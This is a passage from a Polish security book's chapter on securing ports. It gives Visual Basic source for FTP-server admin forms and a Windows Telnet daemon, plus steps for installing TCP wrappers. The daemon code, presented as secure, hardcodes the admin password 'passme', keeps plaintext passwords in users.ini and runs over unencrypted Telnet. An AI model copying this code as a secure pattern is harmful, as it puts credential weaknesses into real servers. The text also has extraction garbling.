Pass1=tester 
DirCnt1=2 
Home1=C:\ 
Access1_1=c:\,RWXLMS 
Access1_3=d:\,RWXLMS 

Główny  formularz, 

FrmFTO.frm

,  moŜe  zostać  zmodyfikowany  tak,  aby  pozwalał  za-

rządzać  połączeniami  uŜytkowników.  MoŜna  równieŜ  dopasować  wygląd  głównego 
modułu programu do własnych upodobań. 

FrmFTP.frm 

Public MainApp As MainApp 
 
Private Sub Form_Unload(Cancel As Integer) 
  MainApp.Closing 
  Set MainApp = Nothing 
End Sub 
 
Private Sub EndCmd_Click() 
  Dim i As Integer 
  For i = 1 To MAX_N_USERS 
    If users(i).control_slot <> INVALID_SOCKET Then 
      retf = closesocket(users(i).control_slot) 
      Set users(i).Jenny = Nothing 
    End If 
    If users(i).data_slot <> INVALID_SOCKET Then 
      retf = closesocket(users(i).data_slot) 
    End If 
  Next 
  retf = closesocket(ServerSlot) 
  If SaveProfile(App.Path & "\tftpserv.ini", True) Then 
  End If 
  Unload Me 
End Sub 
 
Private Sub mEndCmd_Click() 
Dim i As Integer 
  For i = 1 To MAX_N_USERS 
    If users(i).control_slot <> INVALID_SOCKET Then 
      retf = closesocket(users(i).control_slot) 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

19 

 

19

 

      Set users(i).Jenny = Nothing 
    End If 
    If users(i).data_slot <> INVALID_SOCKET Then 
      retf = closesocket(users(i).data_slot) 
    End If 
  Next 
  retf = closesocket(ServerSlot) 
  If SaveProfile(App.Path & "\tftpserv.ini", True) Then 
  End If 
  Unload Me 
End Sub 
 
Private Sub mSetup_Click() 
  UserOpts.Show 1 
End Sub 

Formularz 

AddEditDir.frm

  słuŜy  do  uzupełniania  i  modyfikowania  listy  katalogów, 

do których uŜytkownik ma określone uprawnienia. 

AddEditDir.frm 

Option Explicit 
 
Private Sub AddEditCnx_Click() 
  UserOpts.Tag = "" 
  Unload Me 
End Sub 
 
Private Sub AddEditDone_Click() 
  UserOpts.Tag = DirPath.Text 
  Unload Me 
End Sub 
 
Private Sub BrowseDir_Click() 
  AddEditDir.Tag = DirPath.Text 
  FindFolder.Show 1 
  DirPath.Text = AddEditDir.Tag 
End Sub 

Kolejny formularz, 

FindFolder.frm

, słuŜy jako interfejs do wyszukiwania katalogów, 

do których przypisujemy uŜytkownikom uprawnienia. 

FindFolder.frm 

Option Explicit 
Dim DrvS(32) As String 
Dim LastStr As String 
Dim DrvC As Integer 

Private Sub FldrDone_Click() 
  Form_Terminate 
End Sub 
 
 
Private Sub FolderList_Click() 
Dim s As String, t As String, s2 As String 
Dim i As Integer 
  i = FolderList.ListIndex + 1 
  s2 = FolderList.Text 
  If Mid(s2, 1, 1) = "[" Then 

background image

 
20 

Hack Wars. Tom 2. Na tropie hakerów 

20 

 

    s2 = Mid(s2, 2, 2) & "\" 
    DirPath = s2 
  Else 
    If FolderList.Text = ".." Then 
      s = Left(LastStr, Len(LastStr) - 1) 
      Do Until Right(s, 1) = "\" 
        s = Left(s, Len(s) - 1) 
      Loop 
      s2 = s 
      DirPath = s2 
    Else 
      s2 = DirPath & FolderList.Text & "\" 
      DirPath = s2 
    End If 
  End If 
  LastStr = s2 
  FolderList.Clear 
  'Debug.Print i; s2 
  s = FindFile("*.*", s2) 
  Add_Drives 
End Sub 
 
Private Sub Form_Load() 
Dim s As String 
  GetSystemDrives 'ładowanie informacji o dyskach w systemie 
  If AddEditDir.Tag <> "" Then 
    LastStr = AddEditDir.Tag 
    DirPath = LastStr 
    s = FindFile("*.*", AddEditDir.Tag) 
  End If 
  Add_Drives 
End Sub 
 
Private Sub Add_Drives() 
Dim x As Integer 
  For x = 1 To DrvC 
    FolderList.AddItem "[" & DrvS(x) & "]" 
  Next 
End Sub 
 
Private Sub Form_Terminate() 
  AddEditDir.Tag = DirPath.Text 
  Unload Me 
End Sub 
 
Private Sub GetSystemDrives() 
Dim rtn As Long 
Dim d As Integer 
Dim AllDrives As String 
Dim CurrDrive As String 
Dim tmp As String 
  tmp = Space(64) 
  rtn = GetLogicalDriveStrings(64, tmp) 
  AllDrives = Trim(tmp)             'pobranie listy dost

ę

pnych dysków 

  d = 0 
  Do Until AllDrives = Chr$(0) 
    d = d + 1 
    CurrDrive = StripNulls(AllDrives) 'usuwanie pojedynczego elementu z 
listy AllDrives 
    CurrDrive = Left(CurrDrive, 2)  'znak łamania na ko

ń

cu nie jest 

nam potrzebny 
    DrvS(d) = CurrDrive 
    DrvC = d 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

21 

 

21

 

  Loop 
End Sub 
 
Private Function StripNulls(startstr) As String 
Dim pos As Integer 
  pos = InStr(startstr, Chr$(0)) 
  If pos Then 
    StripNulls = Mid(startstr, 1, pos - 1) 
    startstr = Mid(startstr, pos + 1, Len(startstr)) 
    Exit Function 
  End If 
End Function 

UserOpts.frm

  moŜe  być  rozbudowywany,  jako  moduł  administracyjny,  słuŜący  do 

dodawania, usuwania i ustawiania opcji uŜytkownika. 

UserOpts.frm 

Option Explicit 
Dim uItem As Integer 
Dim aItem As Integer 
Dim tStrng As String 
Dim uUser As Integer 
Dim Pcnt As Integer 
 
Private Type Priv 
  Path As String 
  Accs As String '[R]ead,[W]rite,[D]elete,e[X]ecute > Pliki  
                 '(Odczyt, Zapis, Usuwanie, Uruchamianie) 
                 '[L]ist,[M]ake,[K]ill,[S]ubs       > Katalogi  
                 '(Przegl

ą

danie, Tworzenie, Usuwanie, Podkatalogi) 

 
End Type 
Private Privs(20) As Priv 
 
Private Sub FDAdd_Click() 
  tStrng = Get_Path("") 
  If tStrng <> "" Then 
    AccsList.AddItem (tStrng) 
    Pcnt = Pcnt + 1 
    UserIDs.No(uUser).Priv(Pcnt).Path = tStrng 
    FDUpdate.Enabled = True 
    FDRemove.Enabled = True 
  End If 
  AccsList_False 
End Sub 
 

Private Sub FDEdit_Click() 
  tStrng = Get_Path(AccsList.Text) 
  If tStrng <> "" Then 
    AccsList.List(aItem) = tStrng 
    UserIDs.No(uUser).Priv(aItem + 1).Path = tStrng 
  End If 
  AccsList_False 
End Sub 

 

Private Sub FDRemove_Click() 
Dim z As Integer 
  For z = (aItem + 1) To UserIDs.No(uUser).Pcnt 

background image

 
22 

Hack Wars. Tom 2. Na tropie hakerów 

22 

 

    UserIDs.No(uUser).Priv(z).Path = UserIDs.No(uUser).Priv(z + 
1).Path 
    UserIDs.No(uUser).Priv(z).Accs = UserIDs.No(uUser).Priv(z + 
1).Accs 
  Next 
  UserIDs.No(uUser).Pcnt = UserIDs.No(uUser).Pcnt - 1 
  AccsList.RemoveItem (aItem) 
  AccsList_False 
End Sub 

 

Private Sub FDUpdate_Click() 
Dim z As Integer, s As String 
  UserIDs.No(uUser).Name = UsrName 
  UserIDs.No(uUser).Pass = Pword 
  UserIDs.No(uUser).Home = HomeDir 
  UserIDs.No(uUser).Pcnt = Pcnt 
  s = "" 
  z = aItem + 1 
  If FRead.Value = 1 Then s = s & "R" 
  If FWrite.Value = 1 Then s = s & "W" 
  If FDelete.Value = 1 Then s = s & "D" 
  If FEx.Value = 1 Then s = s & "X" 
  If DList.Value = 1 Then s = s & "L" 
  If DMake.Value = 1 Then s = s & "M" 
  If DRemove.Value = 1 Then s = s & "K" 
  If DSub.Value = 1 Then s = s & "S" 
  Privs(z).Accs = s 
  UserIDs.No(uUser).Priv(z).Accs = s 
  AccsList_False 
End Sub 

 

Private Sub Form_Load() 
Dim x As Integer, y As Integer 
  y = UserIDs.Count 
  If (y > 0) Then 
    For x = 1 To UserIDs.Count 
      UserList.AddItem UserIDs.No(x).Name 
    Next 
  End If 
  aItem = -1 
  uItem = -1 
  AccsList_False 
  UserList_False 
  FDAdd.Enabled = False 
End Sub 

Private Sub Form_Terminate() 
  Unload Me 
End Sub 

Private Sub UserList_LostFocus() 
  ' If uItem >= 0 Then UserList_False 
End Sub 
 
Private Sub UsrDone_Click() 
Dim z As Integer 
  Form_Terminate 
End Sub 
 
Private Sub UsrRemove_Click() 
Dim z As Integer, i As Integer 
  z = UserIDs.Count 
  For i = uUser To z 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

23 

 

23

 

    UserIDs.No(i) = UserIDs.No(i + 1) 
  Next 
  UserList.RemoveItem (uItem) 
  UserIDs.Count = z - 1 
  AccsList.Clear 
  ClearAccs 
  UsrName = "" 
  Pword = "" 
  HomeDir = "" 
  aItem = -1 
  UserList_False 
End Sub 
 
Private Sub UsrAdd_Click() 
Dim i As Integer, S1 As String 
  S1 = "New User" 
  UsrName = S1 
  UserList.AddItem S1 
  i = UserIDs.Count + 1 
  UserIDs.No(i).Name = S1 
  UserIDs.Count = i 
  UserList_False 
End Sub 
 
Private Sub UserList_Click() 
Dim x As Integer, z As Integer 
  uItem = UserList.ListIndex 
  Debug.Print "User List Item = " & uItem 
  '[R]ead,[W]rite,[D]elete,e[X]ecute > Pliki 
  '[L]ist,[M]ake,[K]ill,[S]ubs       > Katalogi 
  uUser = uItem + 1 
  AccsList.Clear 
  ClearAccs 
  Pword = "" 
  HomeDir = "" 
  aItem = -1 
  UserList_True 
  AccsList_False 
  FDAdd.Enabled = True 
  UsrName = UserIDs.No(uUser).Name 
  Pword = UserIDs.No(uUser).Pass 
  HomeDir = UserIDs.No(uUser).Home 
  Pcnt = UserIDs.No(uUser).Pcnt 
  For z = 1 To Pcnt 
    Privs(z).Path = UserIDs.No(uUser).Priv(z).Path 
    Privs(z).Accs = UserIDs.No(uUser).Priv(z).Accs 
    AccsList.AddItem Privs(z).Path 
  Next 
End Sub 
 
Private Sub AccsList_Click() 
Dim x As Integer, z As Integer 
  aItem = AccsList.ListIndex 
  Debug.Print "Access List Item = " & aItem 
  ClearAccs 
  AccsList_True 
  z = aItem + 1 
  Debug.Print UserIDs.No(uUser).Priv(z).Accs 
  If InStr(Privs(z).Accs, "R") Then 
    FRead.Value = 1 
  End If 
  If InStr(Privs(z).Accs, "W") Then 

background image

 
24 

Hack Wars. Tom 2. Na tropie hakerów 

24 

 

    FWrite.Value = 1 
  End If 
  If InStr(Privs(z).Accs, "D") Then 
    FDelete.Value = 1 
  End If 
  If InStr(Privs(z).Accs, "X") Then 
    FEx.Value = 1 
  End If 
  If InStr(Privs(z).Accs, "L") Then 
    DList.Value = 1 
  End If 
  If InStr(Privs(z).Accs, "M") Then 
    DMake.Value = 1 
  End If 
  If InStr(Privs(z).Accs, "K") Then 
    DRemove.Value = 1 
  End If 
  If InStr(Privs(z).Accs, "S") Then 
    DSub.Value = 1 
  End If 
End Sub 
 
Private Sub AccsList_DblClick() 
  aItem = AccsList.ListIndex 
  tStrng = Get_Path(AccsList.Text) 
  If tStrng <> "" Then 
    AccsList.List(aItem) = tStrng 
    UserIDs.No(uUser).Priv(aItem + 1).Path = tStrng 
  End If 
  AccsList.Selected(aItem) = False 
End Sub 
 
Private Sub UserList_True() 
  UsrRemove.Enabled = True 
End Sub 

Private Sub UserList_False() 
  Debug.Print "uItem=" & uItem 
  UsrRemove.Enabled = False 
  If uItem >= 0 Then 
    UserList.Selected(uItem) = False 
    uItem = -1 
  End If 
End Sub 

 

Private Sub AccsList_True() 
  FDEdit.Enabled = True 
  FDRemove.Enabled = True 
  FDUpdate.Enabled = True 
End Sub 

 

Private Sub AccsList_False() 
  Debug.Print "aItem=" & aItem 
  FDEdit.Enabled = False 
  FDRemove.Enabled = False 
  FDUpdate.Enabled = False 
  If aItem >= 0 Then 
    AccsList.Selected(aItem) = False 
    aItem = -1 
  End If 
End Sub 

 
 

Private Sub ClearAccs() 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

25 

 

25

 

  FRead.Value = 0 
  FWrite.Value = 0 
  FDelete.Value = 0 
  FEx.Value = 0 
  DList.Value = 0 
  DMake.Value = 0 
  DRemove.Value = 0 
  DSub.Value = 0 
End Sub 

 

Function Get_Path(olds As String) As String 
  AddEditDir.DirPath = olds 
  AddEditDir.Show 1 
  If Tag <> "" Then 
    Get_Path = Tag 
    Tag = "" 
  End If 
End Function 

 

 

Przedstawione w tym rozdziale programy i towarzyszące im pliki znaleźć moŜna na do-
łączonym do ksiąŜki dysku CD. 

Port 23: Telnet 

Jak opisano to w pierwszym tomie niniejszej ksiąŜki, demon usługi Telnet otwiera drogę 
do powaŜnego naruszenia zabezpieczeń systemu: hasła przesyłane są tekstem jawnym, 
a udana  próba  nawiązania  połączenia  umoŜliwia  zdalne  uruchamianie  poleceń.  Dość 
oczywistą rzeczą staje się więc zalecenie wyłączenia tej usługi, o ile tylko pozwala-
ją na to nasze załoŜenia komunikacji sieciowej. Gdy tak nie jest, pozostaje skorzystanie 
z innych  metod,  podobnie  jak  w  przypadku  pracującego  na  porcie  21  protokołu 
przesyłania plików. 

Podobnie  jak  w  przypadku  FTP  i  większości  usług  sieciowych  systemu  UNIX,  ozna-
czenie odpowiedniego wiersza w pliku 

/etc/inetd.conf

 jako komentarza będzie wystarcza-

jące do całkowitego wyłączenia demona (patrz rysunek 1.4, przedstawiający wyłączanie 
demona  FTP).  Nie  wolno  oczywiście  zapomnieć  o  zatrzymaniu  i  ponownym  uru-
chomieniu inetd lub całego systemu operacyjnego. 

W  systemach  Windows  modyfikujemy  konfigurację  uruchomieniową  lub  kończymy 
pracę  procesu  aktywnego.  Przebiega  to  podobnie  jak  przedstawiono  odnośnie  usługi 
FTP Publishing Service i na rysunkach od 1.5 do 1.8. 

Korzystanie z osłon TCP (TCP wrappers) 

Alternatywy dla Telnetu znaleźć moŜna pośród najlepszych serwerów emulacji terminali 
i pracujących w trybie GUI klientów. Gdy jednak demon tej usługi jest koniecznością, 
pozostaje jedynie zabezpieczanie komunikacji, w której pośredniczy port 23. Rozpocząć 
moŜna  od  zmiany  komunikatu  powitalnego  demona,  ujawniającego,  często  przydatne 
przy włamaniach do systemu, dane: typ demona, wersję i platformę. Co waŜniejsze, jeŜeli 
zmuszeni  jesteśmy  do  korzystania  z  rodzimego  demona  systemu  UNIX,  zapewnić 
naleŜy jego osłonięcie (ang. wrapping). Ogólnie rzecz  ujmując, oprogramowanie osła-
niające TCP zapewnia lepsze rejestrowanie i kontrolę dostępu do demonów usług skonfi-

background image

 
26 

Hack Wars. Tom 2. Na tropie hakerów 

26 

 

gurowanych  w pliku 

/etc/inetd.conf

.  Warto  zwrócić  uwagę,  Ŝe  osłony  TCP  to  programy 

dedykowane lub zaleŜne, od typu systemu  UNIX. W tym punkcie najistotniejsze jest 
jednak podkreślenie znaczenia osłonięcia wszystkich aktywnych demonów usług. 

 

 

Na dołączonym do niniejszej ksiąŜki dysku CD znajdziemy repozytorium tcp_wrapper, a w 
nim  —  przykładowe  kompilacje 

tcpd

.  Zapewniono  wersje  dla systemów  AIX, Digi-

tal, HP-UX, IRIX, Solaris, SunOS i Linux. 

Instalowanie osłon TCP 

Instalowanie osłony TCP nie jest procedurą skomplikowaną. Sprowadza się do czterech 
opisanych poniŜej kroków: 

1.

 

Kopiujemy osłonę TCP do odpowiedniego katalogu 

inetd.conf

. W systemie 

Linux jest to 

/etc/

, w systemach AIX i Digital — 

/usr/sbin

, w systemach HP-UX 9 

i 10 — odpowiednio, 

/etc

 i 

/usr/lbin

, w systemie IRIX — 

/usr/etc

, w systemie 

Solaris — 

/usr/sbin

, a w systemie SunOS — 

/usr/etc

Po  zainstalowaniu,  osłona  TCP  zapisywać  będzie  rejestrowane  dane  odpowiednio 
do ustawienia dla dzienników poczty w pliku 

/syslog.conf

. W systemie AIX jest to 

/var/adm/messages

, w systemie Digital — 

/var/adm/syslog.dated/[DATE]/mail.log

w systemie HP-UX 9 i 10 — 

/usr/spool/mqueue/syslog

, w systemie IRIX — 

/var/ 

adm/SYSLOG

, a w systemach Solaris i SunOS — 

/var/log/syslog

2.

 

Modyfikujemy plik 

inetd.conf

 tak, aby korzystał z osłony. Aby osłonić usługę 

Telnet (lub inną), zmieniamy jej wpis w pliku 

inetd.conf

 z 

telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd 

na 

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd 

Patrz rysunek 1.13. 

Rysunek 1.13.  
W pliku inetd.conf 
wprowadzamy pełn
ą 
ś

cieŜkę do tcpd 

(osłony), 
pozostawiaj
ą
pozostałe elementy 
wiersza bez zmian 

 

 

3.

 

Konfigurujemy pliki kontroli dostępu. Osłanianie TCP zapewnia kontrolę 
dostępu, którym zarządzają dwa pliki. Proces sprawdzania uprawnień kończy się 
przy pierwszym dopasowaniu. Dostęp zostaje przyznany, jeŜeli odpowiedni wpis 
znajduje się w pliku 

/etc/hosts.allow

. JeŜeli nie, wpis w pliku 

/etc/hosts.deny

 moŜe 

doprowadzić do odmowy dostępu. W przypadku braku dopasowania w obu 
plikach, dostęp zostaje przyznany. Oznacza to, Ŝe brak obu plików odpowiada 
wyłączeniu kontroli dostępu. Informacje o korzystaniu z tych list kontroli dostępu 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

27 

 

27

 

(ang. ACL, access control lists) znajdziemy na stronie 

hosts_access

 dołączonego 

do pakietu źródłowego Tcp_wrapper podręcznika (patrz rysunek 1.14). 

Rysunek 1.14.  
Uzyskiwanie 
informacji 
o dostosowywaniu 
list kontroli dost
ępu 
przez wy
świetlenie 
strony hosts_access 
podr
ęcznika 
Tcp_wrapper 

 

 

4.

 

Wprowadzamy w systemie i testujemy zmiany. Aby system uwzględnił 
wprowadzone zmiany i uruchomił osłonę, restartujemy komputer lub sam 
demon inetd — odczyta on wówczas nowy plik 

inetd.conf

. Pozostaje 

wówczas ostatni krok, niezbędny po kaŜdej zmianie w systemie operacyjnym. 
Jest nim sprawdzenie funkcjonowania osłony. W tym celu podejmujemy próbę 
dostępu do komputera, w którym wprowadziliśmy osłonę usługi. Sprawdzamy 
czy tcpd rejestruje nasze działania i, co waŜniejsze, przeprowadza kontrolę 
dostępu, zgodnie z wpisami w plikach 

/etc/hosts.allow

 i 

/etc/hosts.deny

Tiger Telnet 

Przedstawimy  teraz  oprogramowanie  TigerTelnetServ  —  rozwiązanie  dla  domowych 
i prywatnych  uŜytkowników  Windows,  którzy  pragną  pełnej  kontroli  i  bezpieczeństwa 
pracy protokołu. 

TigerTelnetServ (patrz rysunek 1.15) pozwoli  w pełni  kontrolować działanie  mechani-
zmów dostępowych, zapewniając bezpieczny zdalny dostęp zarówno  Czytelnikowi 
niniejszej ksiąŜki, jak i jego rodzinie i przyjaciołom. Program moŜe być bez ograniczeń 
modyfikowany, rozpowszechniany i  stosowany. Przedstawiona  wersja wyposaŜona 
została w polecenia pozwalające przeglądać katalogi, podglądać zawartość plików, 
wyszukiwać uŜytkowników, przerywać sesje oraz pracę demona usługi. W wolnym czasie 
Czytelnik  moŜe  pokusić  się  o  dalszą  rozbudowę.  Dla  uniknięcia  komplikacji  i  zapew-
nienia bezpieczeństwa, wszystkie uprawnienia uŜytkowników opisuje plik 

Users.ini

background image

 
28 

Hack Wars. Tom 2. Na tropie hakerów 

28 

 

Rysunek 1.15.  
TigerTelnetServ  
— bezpieczny demon 
usługi Telnet dla 
systemu Windows 

 

 

Form1.frm

 zawiera kod podstawowego interfejsu demona. Obejmuje on analizator sesji, 

opcję  tymczasowego  wyłączenia  moŜliwości  logowania  oraz  funkcję  administracyjną 
Lockdown. Wywołuje ona 

Form2.frm

, który inicjalizuje specjalny demon, dopuszczający 

jedną tylko sesję, przy której stosuje się hasło administratora — zapisane i skompilowane 
wraz z kodem źródłowym. W tym trybie zalogować się moŜna  wyłącznie na konto 

ad-

min

Form1.frm 

Private Sub acc_ConnectionRequest(ByVal requestID As Long) 
i = i + 1 
Load pol(i) 
pol(i).Close 
pol(i).Accept requestID 
acc.Close 
acc.Listen 
For scan = 1 To 35 
    If Ac_Name(scan) = Empty Then 
        refid = scan 
        Exit For 
    End If 
Next scan 
Ac_Name(refid) = "no user" 
Ac_Host(refid) = pol(i).RemoteHostIP 
Ac_What(refid) = "login" 
Ac_Sock(refid) = i 
SendFile "files\connect.txt", refid 
Send Crt, refid 
Send "Login: ", refid 
Update 
End Sub 
 
Private Sub Command3_Click() 
End Sub 
 
Private Sub Command1_Click() 
Unload Me 
Form2.Show 
End Sub 
 
Private Sub Command4_Click() 
 End 
End Sub 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

29 

 

29

 

 
Private Sub Update() 
List1.Clear 
For scan = 1 To 35 
    If Ac_Name(scan) <> Empty Then 
        If Ac_SuperUser(scan) = False Then 
            List1.AddItem Ac_Name(scan) & " - " & Ac_Host(scan) 
        Else 
            List1.AddItem "@" & Ac_Name(scan) & " - " & Ac_Host(scan) 
        End If 
        p = p + 1 
    End If 
Next scan 
Me.Caption = "Telnet - " & Trim(p) & " connection(s)" 
End Sub 
 
Private Sub Form_Load() 
acc.LocalPort = 23 
acc.Bind 
acc.Listen 
Crt = Chr(10) & Chr(13) 
End Sub 
 
Private Sub pol_Close(Index As Integer) 
For scan = 1 To 35 
    If Ac_Sock(scan) = Index Then 
        refid = scan 
        Exit For 
    End If 
Next scan 
Ac_Name(refid) = Empty 
Ac_Input(refid) = Empty 
Ac_Host(refid) = Empty 
Ac_What(refid) = Empty 
Ac_Sock(refid) = Empty 
pol(Index).Close 
Update 
End Sub 
 
Private Sub SendFile(ByVal filename As String, ByVal person As 
Integer) 
Open filename For Input As #1 
Do 
    If EOF(1) Then Exit Do 
    Line Input #1, temp 
    Send temp & Chr(10) & Chr(13), person 
Loop 
Close #1 
End Sub 
 
Private Sub Send(ByVal text As String, ByVal person As Integer) 
If Ac_Name(person) = "" Then Exit Sub 
pol(Ac_Sock(person)).SendData text 
End Sub 
 
Private Sub pol_DataArrival(Index As Integer, ByVal bytesTotal As 
Long) 
pol(Index).GetData text, vbString 
For scan = 1 To 35 
    If Ac_Sock(scan) = Index Then 
        refid = scan 
        Exit For 

background image

 
30 

Hack Wars. Tom 2. Na tropie hakerów 

30 

 

    End If 
Next scan 
stack = "" 
If refid = 0 Then 
    pol(Index).Close 
    Exit Sub 
End If 
For H = 1 To Len(text) 
    pg = Mid(text, H, 1) 
    If pg = Chr(13) Then 
        If Ac_What(refid) = "prompt" Then 
            reason = "command not found" 
            Ac_Input(refid) = Trim(Ac_Input(refid)) 
            Send Crt, 1 
            If Ac_Input(refid) = Empty Then goodcom = True 
                         
            For scan = 1 To Len(Ac_Input(refid)) 
                If Mid(Ac_Input(refid), scan, 1) = " " Then 
                    i_command = Mid(Ac_Input(refid), 1, scan - 1) 
                    i_arg = Mid(Ac_Input(refid), scan + 1, 100) 
                    Exit For 
                End If 
            Next scan 
            If i_command = "" Then i_command = Ac_Input(refid) 
            If i_command = "logout" Then 
                pol(Index).Close 
                Ac_Name(refid) = Empty 
                Ac_Input(refid) = Empty 
                Ac_Host(refid) = Empty 
                Ac_What(refid) = Empty 
                Ac_Sock(refid) = Empty 
                Ac_SuperUser(refid) = Empty 
                Update 
                Exit Sub 
            End If 
            If i_command = "shutdown" Then 
                If Ac_SuperUser(refid) = True Then 
                    End 
                Else 
                    goodcom = False 
                    reason = "permission denied" 
                End If 
            End If 
            If i_command = "who" Then 
                goodcom = True 
                For scan = 1 To 35 
                    If Ac_Name(scan) <> "" And Ac_Name(scan) <> "no 
user" Then 
                        result = "" 
                        If Ac_SuperUser(scan) = True Then 
                            result = "@" 
                        End If 
                        result = result & Ac_Name(scan) 
                        For dscan = 1 To 10 - Len(result) 
                            result = result & " " 
                        Next dscan 
                        result = result & Ac_Host(scan) 
                        Send result & Crt, refid 
                    End If 
                Next scan 
            End If 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

31 

 

31

 

            If i_command = "killuser" Then 
                If Ac_SuperUser(refid) = True Then 
                    goodcom = False 
                    reason = "no such user" 
                    For scan = 1 To 35 
                        If Ac_Name(scan) <> Empty Then 
                            If Ac_Name(scan) = i_arg Then 
                                pol(Ac_Sock(scan)).Close 
                                Ac_Name(scan) = Empty 
                                Ac_Input(scan) = Empty 
                                Ac_Host(scan) = Empty 
                                Ac_What(scan) = Empty 
                                Ac_Sock(scan) = Empty 
                                Ac_SuperUser(scan) = Empty 
                                goodcom = True 
                                Update 
                            End If 
                        End If 
                    Next scan 
                Else 
                    goodcom = False 
                    reason = "permission denied" 
                End If 
            End If 
            If goodcom = False Then 
                stack = stack & "bash: " & i_command & ": " & reason 
& Crt 
            End If 
            Ac_Input(refid) = Empty 
            stack = stack & Ac_Name(refid) & "@Telnet> " 
            Send stack, refid 
            Exit Sub 
        End If 
        If Ac_What(refid) = "login" Then 
            If Ac_Input(refid) = Empty Then 
                stack = stack & Crt 
                stack = stack & Crt 
                stack = stack & "Login: " 
                Send stack, refid 
                Exit Sub 
            End If 
            Ac_Name(refid) = Ac_Input(refid) 
            Ac_Input(refid) = Empty 
            stack = stack & Crt 
            stack = stack & "Password: " 
            Ac_What(refid) = "password" 
            Send stack, refid 
            Exit Sub 
        End If 
        If Ac_What(refid) = "password" Then 
            Open "files\users.ini" For Input As #1 
            Do 
                If EOF(1) Then Exit Do 
                Line Input #1, temp 
                If Mid(temp, 1, 1) <> "#" Then 
                    G = 0 
           rscan: 
                    For scan = 1 To Len(temp) 
                        If Mid(temp, scan, 1) = "," Then 
                            G = G + 1 
                            If G = 1 Then 
                                load_name = Mid(temp, 1, scan - 1) 

background image

 
32 

Hack Wars. Tom 2. Na tropie hakerów 

32 

 

                                temp = Mid(temp, scan + 1, 100) 
                                GoTo rscan 
                            End If 
                            If G = 2 Then 
                                load_password = Mid(temp, 1, scan - 
1) 
                                temp = Mid(temp, scan + 1, 100) 
                                GoTo rscan 
                            End If 
                            If G = 3 Then 
                                load_su = Mid(temp, 1, scan - 1) 
                                temp = Mid(temp, scan + 1, 100) 
                            End If 
                             
                            If Check1.Value = False Then 
                             
                                If load_name = Ac_Name(refid) Then 
                                    If load_password = 
Ac_Input(refid) Then 
                                        stack = stack & Crt 
                                          stack = stack & "Login 
approved." & Crt & Crt 
                                        stack = stack & Ac_Name(1) & 
"@Telnet> " 
                                        Ac_What(refid) = "prompt" 
                                        Ac_Input(refid) = Empty 
                                        Ac_SuperUser(refid) = False 
                                        If load_su = "1" Then 
                                            Ac_SuperUser(refid) = 
True 
                                        End If 
                                         
                                        Close #1 
                                        Send stack, refid 
                                        Update 
                                        Exit Sub 
                                    End If 
                                    Ac_Input(refid) = Empty 
                                End If 
                            End If 
                        End If 
                    Next scan 
                End If 
            Loop 
            Close #1 
            Ac_Input(refid) = Empty 
            stack = stack & Crt 
            stack = stack & "Login incorrect" & Crt & Crt 
            stack = stack & "Login: " 
            Send stack, refid 
            Ac_What(refid) = "Login" 
            Exit Sub 
        End If 
    End If 
    If pg = Chr(8) Then 
        If Ac_Input(refid) <> "" Then 
            Ac_Input(refid) = Mid(Ac_Input(refid), 1, 
Len(Ac_Input(refid)) - 1) 
            If Ac_What(refid) <> "password" Then 
                Send Chr(8) & " " & Chr(8), refid 
            End If 
        End If 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

33 

 

33

 

        Exit Sub 
    End If 
    If pg = Chr(21) Then 
        If Ac_Input(refid) <> "" Then 
            For G = 1 To Len(Ac_Input(refid)) 
                Send Chr(8) & " " & Chr(8), refid 
            Next G 
        End If 
        Ac_Input(refid) = "" 
        Exit Sub 
    End If 
    If Ac_What(refid) <> "password" Then 
        Send pg, refid 
    End If 
    Ac_Input(refid) = Ac_Input(refid) & pg 
Next H 
End Sub 
 
Private Sub pol_Error(Index As Integer, ByVal Number As Integer, 
Description As String, ByVal Scode As Long, ByVal Source As String, 
ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As 
Boolean) 
For scan = 1 To 35 
    If Ac_Sock(scan) = Index Then 
        refid = scan 
        Exit For 
    End If 
Next scan 
Ac_Name(refid) = Empty 
Ac_Input(refid) = Empty 
Ac_Host(refid) = Empty 
Ac_What(refid) = Empty 
Ac_Sock(refid) = Empty 
pol(Index).Close 
Update 
End Sub 

Kolejny formularz to wersja demona określona nazwą Lockdown, przeznaczona do wyko-
rzystania  przez  administratora.  Dopuszcza  tylko  jedną  sesję,  której  zainicjowanie  wy-
maga podania hasła zapisanego w kodzie źródłowym. Hasło to zapisane jest w wierszu: 

If Command =... Then... Else 

W załączonym przykładzie jest to 

passme

Form2.frm 

Dim Pass As Boolean 
Dim Command As String 
 
Private Sub Command2_Click() 
Unload Me 
End Sub 
 
Private Sub Dir1_Change() 
File1.Path = Dir1.Path 
End Sub 
 
Private Sub Form_Load() 
Winsock1.LocalPort = 23 

background image

 
34 

Hack Wars. Tom 2. Na tropie hakerów 

34 

 

Winsock1.Listen 
Label1.Caption = "" 
Dir1.Path = "C:\" 
End Sub 
 
Private Sub Winsock1_Close() 
Winsock1.Close 
Do Until Winsock1.State = sckClosed 
DoEvents 
Loop 
Winsock1.LocalPort = 23 
Winsock1.Listen 
Dir1.Path = "C:\" 
Pass = False 
End Sub 
 
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 
Winsock1.Close 
Winsock1.Accept requestID 
Do Until Winsock1.State = 7 
DoEvents 
Loop 
Me.Caption = Winsock1.RemoteHostIP 
Winsock1.SendData "Password: " 
End Sub 
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 
Dim Data As String 
Winsock1.GetData Data 
If Asc(Data) = 13 Then 
    Label1.Caption = Command 
    If Pass = False Then 
        If Command = "passme" Then Pass = True: Winsock1.SendData 
vbCrLf &   
        "welcome" & vbCrLf: Winsock1.SendData "C:\>" Else 
Winsock1.SendData   
        "Password incorect!" & vbCrLf: Winsock1.SendData "Password: " 
    Else 
        If LCase(Command) = "cd.." Then 
            If Dir1.Path <> "C:\" Then Dir1.Path = ".." 
            If Dir1.Path <> "C:\" Then Winsock1.SendData 
UCase(Dir1.Path) & "\>"  
